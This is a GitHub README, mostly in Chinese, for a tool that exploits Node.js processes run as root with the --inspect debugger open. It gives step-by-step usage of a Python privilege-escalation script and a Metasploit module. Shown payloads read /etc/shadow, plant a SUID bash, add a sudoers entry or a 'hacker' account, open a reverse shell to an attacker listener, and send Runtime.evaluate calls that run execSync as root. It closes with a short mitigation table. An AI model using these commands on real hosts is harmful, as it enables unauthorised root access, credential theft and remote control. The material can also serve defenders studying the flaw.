BHBarlow/node-inspector-rce
GitHub: BHBarlow/node-inspector-rce
针对以 root 身份运行且启用 --inspect 调试器的 Node.js 进程的本地提权利用工具,提供 Python 脚本和 Metasploit 模块两种利用方式。
Stars: 0 | Forks: 0
# Node.js Inspector 漏洞利用 — 本地提权与 Metasploit
一个本地权限提升(LPE)漏洞利用工具,针对以 **root** 用户身份运行且启用了 `--inspect` 调试器标志的 Node.js 进程。包含一个用于在目标主机上直接利用的独立 Python 脚本,以及一个用于通过 SSH 隧道或 MSF 端口转发进行远程利用的 Metasploit Framework 模块。
## 漏洞原理
当 Node.js 启动时带有 `--inspect`(或 `--inspect-brk`)参数,它会开启一个 **V8 Inspector Protocol** 端点 —— 通常位于 `127.0.0.1:9229`。此调试器暴露了一个 WebSocket,该 WebSocket 接受 `Runtime.evaluate` 命令,从而允许在正在运行的进程内执行**任意 JavaScript 代码**。
如果该进程以 **root** 身份运行,任何通过调试器执行的代码都将继承 root 权限。Inspector 端点没有任何身份验证。
### 攻击流程
```
┌──────────────────────────────────────────────────────────────┐
│ Target Server │
│ │
│ ┌────────────────────────────────┐ │
│ │ node --inspect worker.js │ ← Running as root │
│ │ Listening: 127.0.0.1:9229 │ │
│ └──────────┬─────────────────────┘ │
│ │ WebSocket (no auth) │
│ ▼ │
│ ┌────────────────────────────────┐ │
│ │ Attacker (low-priv user) │ │
│ │ Connects to localhost:9229 │ │
│ │ Sends Runtime.evaluate │ │
│ │ → Executes code as root │ │
│ └────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────┘
```
### 发现方法
拥有低权限 shell 的攻击者可以通过标准的枚举手段发现此易受攻击的进程:
```
ps aux | grep inspect
# root 1234 node --inspect=127.0.0.1:9229 /opt/app/worker.js
ss -tlnp | grep 9229
# LISTEN 127.0.0.1:9229
```
## 工具
| 文件 | 描述 |
|------|-------------|
| `node_inspector_lpe.py` | 独立的 Python3 漏洞利用脚本 - 直接在目标主机上运行,零依赖 |
| `node_inspector_rce.rb` | Metasploit Framework 模块 - 通过 SSH 隧道 + MSF 或 MSF Shell + MSF 端口转发进行远程利用 |
## 1. 本地 Python 漏洞利用 (`node_inspector_lpe.py`)
一个无依赖的 Python3 脚本,用于在主机上进行本地利用。当您已经在目标主机上拥有低权限 shell 时非常理想。
### 要求
- Python 3.x(无需 pip 包)
- 在目标主机上可以访问 `127.0.0.1:9229`
### 用法
```
# 转移到 target
wget http://:8000/node_inspector_lpe.py
# 或
scp node_inspector_lpe.py @:/tmp/
```
#### 验证 Root 执行
```
python3 node_inspector_lpe.py --payload id
```
```
[+] Result:
uid=0(root) gid=0(root) groups=0(root)
```
#### 以 Root 身份读取文件
```
python3 node_inspector_lpe.py --payload read --file /root/root.txt
python3 node_inspector_lpe.py --payload read --file /etc/shadow
```
#### 获取 Root Shell
**选项 A - SUID Bash(推荐):**
```
python3 node_inspector_lpe.py --payload suid
bash -p
# uid=1000(engineer) euid=0(root)
```
**选项 B - Sudoers 条目:**
```
python3 node_inspector_lpe.py --payload sudoers --user engineer
sudo -s
# root@target:#
```
**选项 C - 反向 Shell:**
```
# Attacker 机器:
nc -lvnp 4444
# Target:
python3 node_inspector_lpe.py --payload revshell --lhost --lport 4444
```
#### 运行任意命令
```
python3 node_inspector_lpe.py --payload cmd --cmd "cat /etc/shadow"
python3 node_inspector_lpe.py --payload cmd --cmd "useradd -m -s /bin/bash -G sudo hacker"
```
### 所有选项
```
--host Inspector host (default: 127.0.0.1)
--port Inspector port (default: 9229)
--payload id | suid | sudoers | revshell | cmd | read
--lhost Attacker IP (for revshell)
--lport Attacker port (for revshell)
--cmd Command string (for cmd)
--file File path (for read)
--user Username for sudoers (default: engineer)
--ws-url Provide WebSocket URL directly (skip /json discovery)
```
## 2. Metasploit 模块 (`node_inspector_rce.rb`)
一个完整的 Metasploit 漏洞利用模块,用于从您的攻击机进行远程利用。支持标准的 MSF payload、`check` 方法,并与 MSF 端口转发功能集成。
### 安装
```
mkdir -p ~/.msf4/modules/exploits/multi/misc/
cp node_inspector_rce.rb ~/.msf4/modules/exploits/multi/misc/
```
在 `msfconsole` 中:
```
reload_all
```
### 端口转发(必需)
Inspector 绑定到 `127.0.0.1` - 无法从您的攻击机直接访问。您必须先转发该端口。
**方法 1 - SSH 隧道:**
```
# 在单独的终端中(保持打开):
ssh -L :127.0.0.1: @
```
**方法 2 - MSF portfwd(通过已有的 Meterpreter 会话):**
```
meterpreter> portfwd add -l -p -r 127.0.0.1
```
### 用法
```
msf6> use exploit/multi/misc/node_inspector_rce
msf6> set RHOSTS 127.0.0.1
msf6> set RPORT
msf6> set PAYLOAD cmd/unix/reverse_bash
msf6> set LHOST
msf6> set LPORT
msf6> check
msf6> exploit
```
### Payload 兼容性
| Payload | 备注 |
|---------|-------|
| `cmd/unix/reverse_bash` | 推荐 - 使用 `/dev/tcp` |
| `cmd/unix/reverse_netcat` | 如果 bash 不支持 `/dev/tcp` 的良好替代方案 |
| `cmd/unix/reverse_python` | 如果目标上有 Python 则最为可靠 |
| `cmd/unix/reverse_perl` | 如果 Perl 可用则可正常工作 |
| `cmd/linux/http/*/meterpreter/*` | 无法工作 - 分阶段的二进制 payload |
### 模块选项
```
Name Required Default Description
---- -------- ------- -----------
RHOSTS yes Target host (127.0.0.1 through tunnel)
RPORT yes 9229 Inspector port
TARGETURI yes / Base path for inspector HTTP endpoint
WS_URL no WebSocket URL override (skip /json)
WS_TIMEOUT yes 10 WebSocket operation timeout (seconds)
```
## 工作原理(技术细节)
这两种工具遵循相同的漏洞利用流程:
### 步骤 1 - 会话发现
查询 Inspector 的 HTTP 元数据端点以查找活动的调试器会话:
```
GET http://127.0.0.1:9229/json
```
响应:
```
[{
"id": "30803e60-e694-4c5f-811a-4660f28bfd0b",
"title": "/opt/app/worker.js",
"type": "node",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/30803e60-e694-4c5f-..."
}]
```
### 步骤 2 - WebSocket 连接
使用 V8 Inspector Protocol(Chrome DevTools Protocol)连接到 `webSocketDebuggerUrl`。该连接无需身份验证。
### 步骤 3 - 启用 Runtime 域
```
{"id": 1, "method": "Runtime.enable"}
```
### 步骤 4 - 执行 Payload
```
{
"id": 42,
"method": "Runtime.evaluate",
"params": {
"expression": "require('child_process').execSync('id').toString()",
"returnByValue": true
}
}
```
响应:
```
{
"id": 42,
"result": {
"result": {
"type": "string",
"value": "uid=0(root) gid=0(root) groups=0(root)\n"
}
}
}
```
代码将以拥有该 Node.js 进程的同一用户身份执行 - 通常是 **root**。
## 缓解措施
| 建议 | 详情 |
|----------------|---------|
| **绝不以 root 身份运行 Node.js** | 使用专用的低权限服务账户 |
| **绝不在生产环境中使用 `--inspect`** | 调试器应仅在开发环境中使用 |
| **仅绑定到 localhost** | 如果必须进行调试,请确保使用 `--inspect=127.0.0.1:9229`(默认) — 绝不使用 `0.0.0.0` |
| **谨慎使用 `--inspect`** | 即使绑定到 localhost,任何本地用户仍然可以对其进行利用 |
| **网络隔离** | 防火墙规则应阻止所有非开发主机访问 9229 端口 |
| **进程监控** | 对任何使用 `--inspect` 标志运行的 Node.js 进程进行告警 |
## 参考
- [Node.js 调试指南](https://nodejs.org/en/docs/guides/debugging-getting-started)
- [Chrome DevTools Protocol — Runtime.evaluate](https://chromedevtools.github.io/devtools-protocol/v8/Runtime/#method-evaluate)
- [V8 Inspector Protocol](https://v8.dev/docs/inspector)
## 免责声明
本工具仅供**授权的安全测试和教育目的**使用。请仅在您拥有或获得明确书面授权的系统上使用它。未经授权访问计算机系统是非法的。作者对滥用行为不承担任何责任。
## 许可证
MIT
标签:GNU通用公共许可证, Node.js, Web报告查看器, 安全, 本地提权, 超时处理